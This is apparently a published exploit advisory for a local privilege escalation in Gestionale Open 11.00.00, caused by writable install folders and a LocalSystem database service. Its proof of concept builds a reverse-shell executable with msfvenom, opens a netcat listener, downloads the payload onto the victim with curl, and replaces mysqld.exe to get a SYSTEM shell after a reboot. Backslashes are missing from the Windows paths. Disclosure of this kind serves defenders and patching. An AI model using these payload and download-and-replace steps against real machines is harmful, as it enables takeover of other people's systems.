Exploit/Advisories

# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://www.gestionaleopen.org/
# Software Homepage: https://www.gestionaleopen.org/
# Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
# Version: 11.00.00
# Tested on: Microsoft Windows 10 Enterprise x64

With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.

Vendor: Gestionale Open srl.

Affected version: > 11.00.00

# Details
# By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authoritysystem) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:Gestionale_OpenMySQL57binmysqld.exe

Details:

SERVICE_NAME: DB_GO
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Gestionale_OpenMySQL57binmysqld.exe --defaults-file=C:Gestionale_OpenMySQL57my.ini DB_GO
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DB_GO
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

(2) Folder permissions.
Insecure folders permissions issue:

C:Gestionale_Open Everyone:(I)(OI)(CI)(F)
NT AUTHORITYSYSTEM:(I)(OI)(CI)(F)

# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start

3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:Gestionale_OpenMySQL57binmysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
Renename C:Gestionale_OpenMySQL57binmysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:Windowssystem32>whoami
whoami
nt authoritysystem

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